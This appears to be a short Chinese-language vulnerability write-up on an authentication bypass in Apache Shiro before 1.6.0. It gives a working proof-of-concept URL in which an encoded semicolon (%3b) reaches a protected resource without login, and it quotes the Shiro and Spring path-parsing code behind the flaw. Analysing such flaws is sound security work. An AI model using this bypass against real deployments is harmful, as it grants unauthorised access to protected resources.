shiro < 1.6.0 身份认证绕过漏洞
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java
:
权限配置, 当请求/res/*
资源时, 302 跳转到登陆页面进行身份认证NameController.java
:
·/res/{name}
: 请求名为name
的的资源(触发身份认证)
·/res/
: 不请求任何资源(不触发身份认证)
不在请求路由中指定资源名称时,不触发身份验证,也无资源返回: http://127.0.0.1:8080/res/
在请求路由中指定资源名称时,302 跳转到身份验证页面: http://127.0.0.1:8080/res/poc
构造特定 PoC 请求指定资源时,不触发身份验证,并返回资源: http://127.0.0.1:8080/res/%3bpoc (%3b
是 ;
的 URL 编码)
// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}